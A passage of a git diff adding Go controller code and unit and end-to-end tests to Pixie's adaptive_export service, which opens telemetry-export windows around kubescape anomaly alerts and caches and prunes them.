"hash": initial.AnomalyHash, + "pass": pass, + }).Info("pushed pixie rows for active anomaly window") + } + results <- tableResult{table: table, sliceEnd: sliceEnd, rows: nrows} + }(table, q, sliceEnd) + } + wg.Wait() + close(results) + for r := range results { + if r.err != nil { + // Distinguish query vs sink errors for the operator log + log.WithError(r.err).WithField("table", r.table).Warn("controller: pixie query or sink") + continue // do NOT advance lastUpper — retry next pass + } + lastUpper[r.table] = r.sliceEnd + } + + // Refresh interval treats negative as "single-shot" so callers + // can opt out via the dedicated negative sentinel; the default + // is 30s, set in defaulted(). Zero is reserved for "use default" + // to keep the env-parsing layer simple (env unset → 0 → default). + if c.cfg.PushRefreshInterval < 0 { + log.WithField("hash", initial.AnomalyHash). + Info("pushPixieRows: fan-out complete (single-shot mode)") + return + } + if !sleepOrCancel(ctx, c.cfg.PushRefreshInterval) { + return + } + } +} + +// shouldSkipEmpty reports whether (namespace, pod, table) is currently +// in the negative cache. Returns false when knob #3 is disabled. +func (c *Controller) shouldSkipEmpty(namespace, pod, table string) bool { + if c.cfg.EmptyResultSkipAfterN <= 0 || c.cfg.EmptyResultSkipTTL <= 0 { + return false + } + key := namespace + "|" + pod + "|" + table + c.emptyCacheMu.Lock() + defer c.emptyCacheMu.Unlock() + until, ok := c.emptySkipUntil[key] + if !ok { + return false + } + if c.clock.Now().Before(until) { + return true + } + // TTL expired — clear it so the next call retries the query and + // can re-arm the cache from observed results. + delete(c.emptySkipUntil, key) + delete(c.emptyStreak, key) + return false +} + +// noteQueryResult updates the negative cache after a successful pixie +// query. 0 rows bumps the streak; ≥1 row resets it. Once the streak +// reaches the configured N, the (namespace, pod, table) triple is +// skipped for TTL. +func (c *Controller) noteQueryResult(namespace, pod, table string, nrows int) { + if c.cfg.EmptyResultSkipAfterN <= 0 || c.cfg.EmptyResultSkipTTL <= 0 { + return + } + c.emptyCacheMu.Lock() + defer c.emptyCacheMu.Unlock() + key := namespace + "|" + pod + "|" + table + if nrows > 0 { + delete(c.emptyStreak, key) + delete(c.emptySkipUntil, key) + return + } + c.emptyStreak[key]++ + if c.emptyStreak[key] >= c.cfg.EmptyResultSkipAfterN { + c.emptySkipUntil[key] = c.clock.Now().Add(c.cfg.EmptyResultSkipTTL) + } +} + +// sleepOrCancel returns true on normal sleep completion, false if ctx cancelled. +func sleepOrCancel(ctx context.Context, d time.Duration) bool { + t := time.NewTimer(d) + defer t.Stop() + select { + case <-ctx.Done(): + return false + case <-t.C: + return true + } +} + +// Active returns the count of in-memory active hashes (test helper). +func (c *Controller) Active() int { + c.mu.Lock() + defer c.mu.Unlock() + return len(c.active) +} + +// SnapshotActive returns a fresh QueryActive against CH. Exposed so +// callers (e.g. main.go) can seed the streaming ActiveSet at boot +// without having to know about Sink internals. +func (c *Controller) SnapshotActive(ctx context.Context) ([]sink.AttributionRow, error) { + return c.sink.QueryActive(ctx, c.cfg.Hostname) +} + +// eventTimeToTime converts forensic_db.kubescape_logs.event_time (UInt64) +// into a time.Time, auto-detecting the unit. Vector's kubescape sink in +// the soc lab writes unix SECONDS (~1.7e9), but other deployments may +// emit millis (~1.7e12) or nanos (~1.7e18) per kubescape's own field +// conventions. Magnitude check picks the unit so we don't silently +// misinterpret the same UInt64 across pipeline variants. +func eventTimeToTime(et uint64) time.Time { + switch { + case et < 1e10: + return time.Unix(int64(et), 0).UTC() // seconds + case et < 1e13: + return time.Unix(0, int64(et)*int64(time.Millisecond)).UTC() // millis + default: + return time.Unix(0, int64(et)).UTC() // nanos + } +} + +// PruneExpired removes from the in-memory active set every entry whose +// t_end has been in the past longer than a grace period. ClickHouse's +// ReplacingMergeTree handles table-side cleanup; this just keeps the +// operator's RAM bounded. +// +// The grace period (2 * cfg.After by default) bridges the gap between +// the prune timer and the next detection cycle: without it, a +// same-hash alert arriving milliseconds after a prune ran would spawn +// a fresh pushPixieRows goroutine, re-scanning the slice from +// initial.TStart and wasting Pixie query budget on data we already +// scanned. Empirically (2026-05-15) the un-graced prune accounted for +// 100% of pushPixieRows goroutine exits, none reached the natural +// "window expired" path — the prune kept racing reactivation. +// +// Caller invokes on a periodic timer. +func (c *Controller) PruneExpired() int { + now := c.clock.Now() + grace := 2 * c.cfg.After + // Collect under the lock; fire callbacks AFTER releasing so we + // don't hold the controller mutex across user code. + // + // IMPORTANT (rev-3 streaming correctness): c.active is keyed by + // anomaly hash, but the streaming layer (ActiveSet) is keyed by + // (namespace, pod). One pod can host multiple distinct hashes + // (e.g. pgsql-server has hashes for postgres, pg_isready, runc: + // [2:INIT] processes). Firing OnPrune for every evicted hash + // would prematurely stop streaming for a pod that still has + // other active hashes. So: compute the set of pods that have + // NO remaining active hashes after this prune, and only fire + // OnPrune for those. + type podKey struct{ namespace, pod string } + prunedHashes := 0 + var pruned []podKey + c.mu.Lock() + // Pass 1: delete expired hashes and remember which pods THEY + // belonged to. + candidatePods := map[podKey]struct{}{} + for h, row := range c.active { + if !row.TEnd.Add(grace).After(now) { + candidatePods[podKey{row.Namespace, row.Pod}] = struct{}{} + delete(c.active, h) + prunedHashes++ + } + } + // Pass 2: from candidatePods, remove any pod that STILL has at + // least one surviving hash in c.active. What's left is the set + // of pods that lost their LAST hash — these get OnPrune. + for _, row := range c.active { + delete(candidatePods, podKey{row.Namespace, row.Pod}) + } + for pk := range candidatePods { + pruned = append(pruned, pk) + } + c.mu.Unlock() + if c.cfg.OnPrune != nil { + for _, k := range pruned { + c.cfg.OnPrune(k.namespace, k.pod) + } + } + return prunedHashes +} diff --git a/src/vizier/services/adaptive_export/internal/controller/controller_test.go b/src/vizier/services/adaptive_export/internal/controller/controller_test.go new file mode 100644 index 00000000000..03b5471c070 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/controller/controller_test.go @@ -0,0 +1,681 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package controller + +import ( + "context" + "errors" + "sync" + "testing" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/kubescape" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/sink" +) + +// ---------- fakes ---------- + +type fakeTrigger struct { + ch chan kubescape.Event + err error +} + +func newFakeTrigger() *fakeTrigger { return &fakeTrigger{ch: make(chan kubescape.Event, 16)} } + +func (f *fakeTrigger) Subscribe(_ context.Context) (<-chan kubescape.Event, error) { + if f.err != nil { + return nil, f.err + } + return f.ch, nil +} + +func (f *fakeTrigger) push(ev kubescape.Event) { f.ch <- ev } +func (f *fakeTrigger) close() { close(f.ch) } + +type fakeSink struct { + mu sync.Mutex + writes []sink.AttributionRow + preload []sink.AttributionRow + werr error + qerr error +} + +func (f *fakeSink) WritePixieRows(_ context.Context, _ string, _ []map[string]any) error { + return nil +} + +func (f *fakeSink) Write(_ context.Context, rows []sink.AttributionRow) error { + f.mu.Lock() + defer f.mu.Unlock() + if f.werr != nil { + return f.werr + } + f.writes = append(f.writes, rows...) + return nil +} + +func (f *fakeSink) QueryActive(_ context.Context, hostname string) ([]sink.AttributionRow, error) { + f.mu.Lock() + defer f.mu.Unlock() + if f.qerr != nil { + return nil, f.qerr + } + out := make([]sink.AttributionRow, 0, len(f.preload)) + for _, r := range f.preload { + if r.Hostname == hostname { + out = append(out, r) + } + } + return out, nil +} + +func (f *fakeSink) snapshot() []sink.AttributionRow { + f.mu.Lock() + defer f.mu.Unlock() + return append([]sink.AttributionRow{}, f.writes...) +} + +type fakeClock struct { + mu sync.Mutex + t time.Time +} + +func (c *fakeClock) Now() time.Time { c.mu.Lock(); defer c.mu.Unlock(); return c.t } +func (c *fakeClock) advance(d time.Duration) { + c.mu.Lock() + defer c.mu.Unlock() + c.t = c.t.Add(d) +} + +// ---------- helpers ---------- + +var canonicalEventTime = time.Unix(0, 1744477360303026359).UTC() + +func canonicalEvent() kubescape.Event { + return kubescape.Event{ + Target: anomaly.Target{ + PID: 106040, Comm: "redis-server", + Pod: "redis-578d5dc9bd-kjj78", Namespace: "redis", + }, + EventTime: 1744477360303026359, + RuleID: "R1005", + Hostname: "node-1", + } +} + +func anotherTargetEvent() kubescape.Event { + ev := canonicalEvent() + ev.Target.PID = 999999 + ev.RuleID = "R0006" + return ev +} + +func waitFor(t *testing.T, what string, deadline time.Duration, ok func() bool) { + t.Helper() + stop := time.Now().Add(deadline) + for time.Now().Before(stop) { + if ok() { + return + } + time.Sleep(2 * time.Millisecond) + } + t.Fatalf("timeout waiting for %s", what) +} + +func runController(t *testing.T, c *Controller, trig *fakeTrigger) func() { + t.Helper() + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan struct{}) + go func() { _ = c.Run(ctx); close(done) }() + return func() { + trig.close() + cancel() + select { + case <-done: + case <-time.After(1 * time.Second): + t.Fatalf("controller did not stop within 1s") + } + } +} + +func defaultCfg() Config { + return Config{Hostname: "node-1", Before: 5 * time.Minute, After: 5 * time.Minute} +} + +// ---------- tests ---------- + +// TestController_NewWindow_FirstAnomalyOnTarget — first event on a hash +// produces one Sink write with t_start = event - Before, t_end = now + After. +func TestController_NewWindow_FirstAnomalyOnTarget(t *testing.T) { + trig := newFakeTrigger() + snk := &fakeSink{} + clk := &fakeClock{t: canonicalEventTime.Add(time.Second)} + c := New(trig, snk, defaultCfg(), clk) + stop := runController(t, c, trig) + defer stop() + + trig.push(canonicalEvent()) + waitFor(t, "first write", 200*time.Millisecond, func() bool { return len(snk.snapshot()) > 0 }) + got := snk.snapshot()[0] + wantHash := anomaly.Hash(canonicalEvent().Target) + if got.AnomalyHash != wantHash { + t.Fatalf("hash = %q, want %q", got.AnomalyHash, wantHash) + } + if got.PID != 106040 || got.Comm != "redis-server" || got.Namespace != "redis" { + t.Fatalf("identity wrong: %+v", got) + } + if got.Hostname != "node-1" { + t.Fatalf("Hostname = %q", got.Hostname) + } + wantStart := canonicalEventTime.Add(-5 * time.Minute) + if !got.TStart.Equal(wantStart) { + t.Fatalf("TStart = %v, want %v", got.TStart, wantStart) + } + wantEnd := clk.Now().Add(5 * time.Minute) + if !got.TEnd.Equal(wantEnd) { + t.Fatalf("TEnd = %v, want %v", got.TEnd, wantEnd) + } + if got.NAnomalies != 1 || got.LastRuleID != "R1005" { + t.Fatalf("LastRuleID/NAnomalies wrong: %+v", got) + } +} + +// TestController_Coalesce_SecondAnomalySameHash — second event on the +// same target reuses the same row, increments n_anomalies, extends t_end. +func TestController_Coalesce_SecondAnomalySameHash(t *testing.T) { + trig := newFakeTrigger() + snk := &fakeSink{} + clk := &fakeClock{t: canonicalEventTime.Add(time.Second)} + c := New(trig, snk, defaultCfg(), clk) + stop := runController(t, c, trig) + defer stop() + + trig.push(canonicalEvent()) + waitFor(t, "first write", 200*time.Millisecond, func() bool { return len(snk.snapshot()) >= 1 }) + + clk.advance(2 * time.Minute) // 2 minutes pass; t_end should reset to now+5min + ev2 := canonicalEvent() + ev2.RuleID = "R0006" + ev2.EventTime = uint64(canonicalEventTime.Add(2 * time.Minute).UnixNano()) + trig.push(ev2) + waitFor(t, "second write", 200*time.Millisecond, func() bool { return len(snk.snapshot()) >= 2 }) + + if c.Active() != 1 { + t.Fatalf("Active = %d, want 1 (must coalesce on same hash)", c.Active()) + } + got := snk.snapshot()[1] + if got.NAnomalies != 2 { + t.Fatalf("NAnomalies = %d, want 2", got.NAnomalies) + } + if got.LastRuleID != "R0006" { + t.Fatalf("LastRuleID = %q, want R0006", got.LastRuleID) + } + wantEnd := clk.Now().Add(5 * time.Minute) + if !got.TEnd.Equal(wantEnd) { + t.Fatalf("TEnd = %v, want %v (must extend on coalesce)", got.TEnd, wantEnd) + } +} + +// TestController_NeverShrinksTEnd — out-of-order arrivals or repeats +// must not regress t_end backward. +func TestController_NeverShrinksTEnd(t *testing.T) { + trig := newFakeTrigger() + snk := &fakeSink{} + clk := &fakeClock{t: canonicalEventTime} + c := New(trig, snk, defaultCfg(), clk) + stop := runController(t, c, trig) + defer stop() + + trig.push(canonicalEvent()) + waitFor(t, "first", 200*time.Millisecond, func() bool { return len(snk.snapshot()) >= 1 }) + originalEnd := snk.snapshot()[0].TEnd + + // fake clock REWINDS — pathological but defensive + clk.advance(-time.Hour) + trig.push(canonicalEvent()) + waitFor(t, "second", 200*time.Millisecond, func() bool { return len(snk.snapshot()) >= 2 }) + got := snk.snapshot()[1] + if !got.TEnd.Equal(originalEnd) { + t.Fatalf("TEnd regressed: was %v, now %v", originalEnd, got.TEnd) + } +} + +// TestController_NewWindowForColdTarget — different target opens a 2nd +// active row, preserving the first. +func TestController_NewWindowForColdTarget(t *testing.T) { + trig := newFakeTrigger() + snk := &fakeSink{} + clk := &fakeClock{t: canonicalEventTime} + c := New(trig, snk, defaultCfg(), clk) + stop := runController(t, c, trig) + defer stop() + + trig.push(canonicalEvent()) + trig.push(anotherTargetEvent()) + waitFor(t, "two active", 300*time.Millisecond, func() bool { return c.Active() == 2 }) +} + +// TestController_Rehydrate_FromSink — boot reads still-active rows. +func TestController_Rehydrate_FromSink(t *testing.T) { + trig := newFakeTrigger() + t0 := canonicalEventTime + preload := []sink.AttributionRow{ + {AnomalyHash: "h1", Hostname: "node-1", PID: 1, Comm: "x", TStart: t0, TEnd: t0.Add(10 * time.Minute), LastSeen: t0, NAnomalies: 5}, + {AnomalyHash: "h2", Hostname: "node-OTHER", PID: 2, Comm: "y", TStart: t0, TEnd: t0.Add(10 * time.Minute), LastSeen: t0, NAnomalies: 1}, + } + snk := &fakeSink{preload: preload} + clk := &fakeClock{t: t0} + c := New(trig, snk, defaultCfg(), clk) + + if err := c.Rehydrate(context.Background()); err != nil { + t.Fatalf("Rehydrate: %v", err) + } + if c.Active() != 1 { + t.Fatalf("Active after rehydrate = %d, want 1 (must filter by hostname)", c.Active()) + } +} + +// TestController_PruneExpired — entries past their t_end drop out. +func TestController_PruneExpired(t *testing.T) { + trig := newFakeTrigger() + snk := &fakeSink{} + clk := &fakeClock{t: canonicalEventTime} + c := New(trig, snk, Config{Hostname: "node-1", Before: time.Minute, After: time.Minute}, clk) + stop := runController(t, c, trig) + defer stop() + + trig.push(canonicalEvent()) + waitFor(t, "active=1", 200*time.Millisecond, func() bool { return c.Active() == 1 }) + + // PruneExpired() now waits for TEnd + 2*After (the grace period that + // prevents racing same-hash alerts arriving right after a prune from + // spawning fresh pushPixieRows goroutines that re-scan the slice). + // With Before=After=1m the row's TEnd is now+1m, so we need to advance + // past now+1m+2*1m = now+3m. + clk.advance(3*time.Minute + time.Second) // past t_end + 2*After grace + if r := c.PruneExpired(); r != 1 { + t.Fatalf("PruneExpired removed %d, want 1", r) + } + if c.Active() != 0 { + t.Fatalf("Active after prune = %d, want 0", c.Active()) + } +} + +// TestController_SinkErrorNonFatal — controller does not crash on Sink.Write error. +func TestController_SinkErrorNonFatal(t *testing.T) { + trig := newFakeTrigger() + snk := &fakeSink{werr: errors.New("ch unreachable")} + clk := &fakeClock{t: canonicalEventTime} + c := New(trig, snk, defaultCfg(), clk) + stop := runController(t, c, trig) + defer stop() + + trig.push(canonicalEvent()) + // Wait for the handler to process the event (no fixed sleep). + waitFor(t, "active=1 despite sink error", 200*time.Millisecond, func() bool { return c.Active() == 1 }) +} + +// TestController_RestartMidStream_Aborts — context cancel terminates Run. +func TestController_RestartMidStream_Aborts(t *testing.T) { + trig := newFakeTrigger() + snk := &fakeSink{} + clk := &fakeClock{t: canonicalEventTime} + c := New(trig, snk, defaultCfg(), clk) + + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan struct{}) + go func() { _ = c.Run(ctx); close(done) }() + + trig.push(canonicalEvent()) + waitFor(t, "controller picked up event", 200*time.Millisecond, func() bool { return c.Active() == 1 }) + cancel() + select { + case <-done: + case <-time.After(300 * time.Millisecond): + t.Fatalf("controller did not abort within 300ms of cancel") + } +} + +// ──────────────────────────────────────────────────────────────── +// Callbacks (rev-3 streaming hook): OnAttribution + OnPrune +// ──────────────────────────────────────────────────────────────── + +type attrCall struct { + ns, pod string + tEnd time.Time +} + +// TestController_OnAttribution_FiresPerEvent — every kubescape +// event (new or extension) triggers exactly one OnAttribution. +func TestController_OnAttribution_FiresPerEvent(t *testing.T) { + trig := newFakeTrigger() + snk := &fakeSink{} + clk := &fakeClock{t: canonicalEventTime} + + var mu sync.Mutex + var calls []attrCall + cfg := defaultCfg() + cfg.OnAttribution = func(ns, pod string, tEnd time.Time) { + mu.Lock() + defer mu.Unlock() + calls = append(calls, attrCall{ns, pod, tEnd}) + } + c := New(trig, snk, cfg, clk) + stop := runController(t, c, trig) + defer stop() + + trig.push(canonicalEvent()) + trig.push(canonicalEvent()) // extension on same hash + trig.push(canonicalEvent()) + waitFor(t, "3 attribution callbacks", 300*time.Millisecond, func() bool { + mu.Lock() + defer mu.Unlock() + return len(calls) == 3 + }) + mu.Lock() + defer mu.Unlock() + for _, c := range calls { + if c.pod == "" { + t.Fatalf("callback received empty pod: %+v", c) + } + if c.tEnd.IsZero() { + t.Fatalf("callback received zero tEnd: %+v", c) + } + } +} + +// TestController_OnAttribution_NilIsNoop — nil callback must not crash. +func TestController_OnAttribution_NilIsNoop(t *testing.T) { + trig := newFakeTrigger() + snk := &fakeSink{} + clk := &fakeClock{t: canonicalEventTime} + cfg := defaultCfg() + cfg.OnAttribution = nil // explicit + c := New(trig, snk, cfg, clk) + stop := runController(t, c, trig) + defer stop() + trig.push(canonicalEvent()) + waitFor(t, "event landed", 200*time.Millisecond, func() bool { return c.Active() == 1 }) + // No assertion needed beyond not panicking. +} + +// TestController_OnPrune_FiresWithKeyDetails — PruneExpired must +// emit one OnPrune callback per evicted hash, with ns + pod set. +func TestController_OnPrune_FiresWithKeyDetails(t *testing.T) { + trig := newFakeTrigger() + snk := &fakeSink{} + clk := &fakeClock{t: canonicalEventTime} + var mu sync.Mutex + var pruned []attrCall + cfg := Config{ + Hostname: "node-1", Before: time.Minute, After: time.Minute, + OnPrune: func(ns, pod string) { + mu.Lock() + defer mu.Unlock() + pruned = append(pruned, attrCall{ns: ns, pod: pod}) + }, + } + c := New(trig, snk, cfg, clk) + stop := runController(t, c, trig) + defer stop() + + trig.push(canonicalEvent()) + waitFor(t, "active=1", 200*time.Millisecond, func() bool { return c.Active() == 1 }) + clk.advance(3*time.Minute + time.Second) // past t_end + 2*After grace + if r := c.PruneExpired(); r != 1 { + t.Fatalf("PruneExpired removed %d, want 1", r) + } + mu.Lock() + defer mu.Unlock() + if len(pruned) != 1 { + t.Fatalf("OnPrune fired %d times, want 1", len(pruned)) + } + if pruned[0].pod == "" { + t.Fatalf("OnPrune called with empty pod: %+v", pruned[0]) + } +} + +// TestController_OnPrune_NilIsNoop — nil callback must not crash +// the prune loop. +func TestController_OnPrune_NilIsNoop(t *testing.T) { + trig := newFakeTrigger() + snk := &fakeSink{} + clk := &fakeClock{t: canonicalEventTime} + cfg := Config{Hostname: "node-1", Before: time.Minute, After: time.Minute} + cfg.OnPrune = nil // explicit + c := New(trig, snk, cfg, clk) + stop := runController(t, c, trig) + defer stop() + + trig.push(canonicalEvent()) + waitFor(t, "active=1", 200*time.Millisecond, func() bool { return c.Active() == 1 }) + clk.advance(3*time.Minute + time.Second) + _ = c.PruneExpired() + // No panic = pass. +} + +// TestController_OnPrune_OnlyFiresWhenLastHashOnPodGone — multiple +// anomaly hashes can share a single (namespace, pod) when distinct +// PID×comm combinations on the same pod each get their own +// kubescape rule firing. Real-world example (sweep observation): +// pgsql-server has hashes for processes `postgres`, `pg_isready`, +// and `runc:[2:INIT]` — three hashes, one pod. +// +// The streaming layer is pod-keyed, so OnPrune(ns, pod) must only +// fire when the LAST hash for that pod is evicted. Premature firing +// would stop the per-pod stream while other hashes are still active. +// CR feedback (controller.go:156) caught this; see comment thread. +func TestController_OnPrune_OnlyFiresWhenLastHashOnPodGone(t *testing.T) { + trig := newFakeTrigger() + snk := &fakeSink{} + clk := &fakeClock{t: canonicalEventTime} + + var mu sync.Mutex + var prunedPods []string + cfg := Config{ + Hostname: "node-1", Before: time.Minute, After: time.Minute, + OnPrune: func(ns, pod string) { + mu.Lock() + defer mu.Unlock() + prunedPods = append(prunedPods, ns+"/"+pod) + }, + } + c := New(trig, snk, cfg, clk) + stop := runController(t, c, trig) + defer stop() + + // Two events on the SAME pod but with different (PID, Comm) so + // anomaly.Hash returns two distinct hashes. + mkEvent := func(pid uint64, comm string) kubescape.Event { + return kubescape.Event{ + Target: anomaly.Target{ + PID: pid, Comm: comm, Pod: "pgsql-server-x", Namespace: "px", + }, + EventTime: uint64(canonicalEventTime.UnixNano()), + RuleID: "R1", Hostname: "node-1", + } + } + trig.push(mkEvent(100, "postgres")) + trig.push(mkEvent(200, "pg_isready")) + waitFor(t, "two distinct hashes active", 300*time.Millisecond, func() bool { + return c.Active() == 2 + }) + + // Advance past TEnd + 2*After so BOTH hashes are evictable. + clk.advance(3*time.Minute + time.Second) + if r := c.PruneExpired(); r != 2 { + t.Fatalf("PruneExpired removed %d, want 2 hashes", r) + } + mu.Lock() + defer mu.Unlock() + if len(prunedPods) != 1 { + t.Fatalf("OnPrune fired %d times for one pod with 2 hashes; want 1. Calls: %v", + len(prunedPods), prunedPods) + } + if prunedPods[0] != "px/pgsql-server-x" { + t.Fatalf("wrong pod pruned: %q", prunedPods[0]) + } +} + +// TestController_OnPrune_DoesNotFireWhileOtherHashesActive — inverse +// case: only ONE hash on a pod expires; OnPrune must NOT fire for +// that pod because other hashes for the same pod remain active. +func TestController_OnPrune_DoesNotFireWhileOtherHashesActive(t *testing.T) { + trig := newFakeTrigger() + snk := &fakeSink{} + clk := &fakeClock{t: canonicalEventTime} + + var mu sync.Mutex + var prunedPods []string + cfg := Config{ + Hostname: "node-1", Before: time.Minute, After: time.Minute, + OnPrune: func(ns, pod string) { + mu.Lock() + defer mu.Unlock() + prunedPods = append(prunedPods, ns+"/"+pod) + }, + } + c := New(trig, snk, cfg, clk) + stop := runController(t, c, trig) + defer stop() + + mkEvent := func(pid uint64) kubescape.Event { + return kubescape.Event{ + Target: anomaly.Target{ + PID: pid, Comm: "c", Pod: "samepod", Namespace: "ns", + }, + EventTime: uint64(canonicalEventTime.UnixNano()), + RuleID: "R1", Hostname: "node-1", + } + } + trig.push(mkEvent(100)) + waitFor(t, "1 hash", 300*time.Millisecond, func() bool { return c.Active() == 1 }) + + // Advance time so first hash's TEnd is in the past but not yet + // past the 2*After grace. Then push second hash on the same pod. + clk.advance(2 * time.Minute) + trig.push(mkEvent(200)) + waitFor(t, "2 hashes", 300*time.Millisecond, func() bool { return c.Active() == 2 }) + + // Advance to where the FIRST hash is past grace (3m after its + // creation) but the SECOND is still alive (its TEnd is at + // canonical+3m; grace would be +5m). Total clock progression + // from canonical: 2m + 1m + 1s = 3m1s. + clk.advance(time.Minute + time.Second) + removed := c.PruneExpired() + if removed != 1 { + t.Fatalf("PruneExpired removed %d, want 1 (only the old hash)", removed) + } + mu.Lock() + defer mu.Unlock() + if len(prunedPods) != 0 { + t.Fatalf("OnPrune fired for a pod that still has 1 active hash; calls: %v", prunedPods) + } +} + +// TestController_OnAttribution_NotHeldUnderMutex — a slow callback +// must NOT block PruneExpired's progress (the controller must not +// be holding its own mutex while invoking user code). +// +// We arrange a synchronous OnPrune that blocks until we signal, +// then call PruneExpired in a goroutine and confirm that we can +// independently call Active() (which acquires the same mutex) +// without deadlocking. +func TestController_OnPrune_DoesNotHoldMutex(t *testing.T) { + trig := newFakeTrigger() + snk := &fakeSink{} + clk := &fakeClock{t: canonicalEventTime} + + pruneInCallback := make(chan struct{}) + release := make(chan struct{}) + + cfg := Config{ + Hostname: "node-1", Before: time.Minute, After: time.Minute, + OnPrune: func(ns, pod string) { + close(pruneInCallback) + <-release + }, + } + c := New(trig, snk, cfg, clk) + stop := runController(t, c, trig) + defer stop() + + trig.push(canonicalEvent()) + waitFor(t, "active=1", 200*time.Millisecond, func() bool { return c.Active() == 1 }) + + clk.advance(3*time.Minute + time.Second) + + pruneDone := make(chan struct{}) + go func() { + _ = c.PruneExpired() + close(pruneDone) + }() + + // Wait until the prune is inside the callback. + select { + case <-pruneInCallback: + case <-time.After(500 * time.Millisecond): + t.Fatalf("OnPrune did not fire within 500ms") + } + + // Active() acquires the same mutex; if PruneExpired holds it + // across the callback, this blocks forever. + activeDone := make(chan int, 1) + go func() { activeDone <- c.Active() }() + + select { + case n := <-activeDone: + if n != 0 { + t.Fatalf("expected Active=0 (eviction happened before callback), got %d", n) + } + case <-time.After(500 * time.Millisecond): + t.Fatalf("Active() blocked — PruneExpired is holding the mutex across user callback") + } + + close(release) + <-pruneDone +} + +// TestEmptyResultSkip_NamespaceIsolation — the negative cache must +// not let one namespace's empty-streak suppress queries for a same- +// named pod in a different namespace. Two pods named "api" in "ns-a" +// vs "ns-b" sharing a single PEM node previously collided because +// the cache key was just "pod|table". +func TestEmptyResultSkip_NamespaceIsolation(t *testing.T) { + clk := &fakeClock{t: canonicalEventTime} + c := New(newFakeTrigger(), &fakeSink{}, Config{ + Hostname: "node-1", + Before: time.Minute, + After: time.Minute, + EmptyResultSkipAfterN: 2, + EmptyResultSkipTTL: 5 * time.Minute, + }, clk) + + const table = "stirling_http_events" + // Drive ns-a/api to N empty results — should arm the skip cache for ns-a/api only. + for i := 0; i < 2; i++ { + c.noteQueryResult("ns-a", "api", table, 0) + } + if !c.shouldSkipEmpty("ns-a", "api", table) { + t.Fatalf("ns-a/api should be skip-armed after 2 empties") + } + if c.shouldSkipEmpty("ns-b", "api", table) { + t.Fatalf("ns-b/api was wrongly suppressed by ns-a/api's empty streak " + + "(skip cache key conflates namespaces)") + } +} diff --git a/src/vizier/services/adaptive_export/internal/e2e/BUILD.bazel b/src/vizier/services/adaptive_export/internal/e2e/BUILD.bazel new file mode 100644 index 00000000000..c9d81d75063 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/e2e/BUILD.bazel @@ -0,0 +1,28 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("//bazel:pl_build_system.bzl", "pl_go_test") + +pl_go_test( + name = "e2e_test", + srcs = ["e2e_test.go"], + deps = [ + "//src/vizier/services/adaptive_export/internal/anomaly", + "//src/vizier/services/adaptive_export/internal/controller", + "//src/vizier/services/adaptive_export/internal/sink", + "//src/vizier/services/adaptive_export/internal/trigger", + ], +) diff --git a/src/vizier/services/adaptive_export/internal/e2e/e2e_test.go b/src/vizier/services/adaptive_export/internal/e2e/e2e_test.go new file mode 100644 index 00000000000..4f2f0c2fc94 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/e2e/e2e_test.go @@ -0,0 +1,176 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +// Package e2e wires the real Trigger + real Sink (both HTTP-backed) +// to a stub ClickHouse in-process and exercises the full +// kubescape→attribution path end-to-end. This is the highest-fidelity +// test that runs in `go test`. Real-cluster validation lives on the +// lab. +package e2e + +import ( + "bytes" + "context" + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/controller" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/sink" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/trigger" +) + +// stubClickHouse emulates ClickHouse's HTTP interface: GET responds +// with a fixed kubescape_logs JSONEachRow body; POST records the +// INSERT body for later assertion. +type stubClickHouse struct { + mu sync.Mutex + kubescape []map[string]any + insertedSQL []string + insertBody [][]byte +} + +func (s *stubClickHouse) handle(w http.ResponseWriter, r *http.Request) { + q := r.URL.Query().Get("query") + switch r.Method { + case http.MethodGet: + if !strings.Contains(q, "FROM forensic_db.kubescape_logs") { + http.Error(w, "unexpected SELECT: "+q, 400) + return + } + if !strings.Contains(q, "hostname = 'node-1'") { + http.Error(w, "missing hostname filter: "+q, 400) + return + } + s.mu.Lock() + var buf bytes.Buffer + enc := json.NewEncoder(&buf) + enc.SetEscapeHTML(false) + for _, row := range s.kubescape { + _ = enc.Encode(row) + } + s.mu.Unlock() + w.WriteHeader(200) + _, _ = w.Write(buf.Bytes()) + case http.MethodPost: + body, _ := io.ReadAll(r.Body) + s.mu.Lock() + s.insertedSQL = append(s.insertedSQL, q) + s.insertBody = append(s.insertBody, body) + s.mu.Unlock() + w.WriteHeader(200) + default: + http.Error(w, "method", http.StatusMethodNotAllowed) + } +} + +func (s *stubClickHouse) bodies() [][]byte { + s.mu.Lock() + defer s.mu.Unlock() + out := make([][]byte, len(s.insertBody)) + for 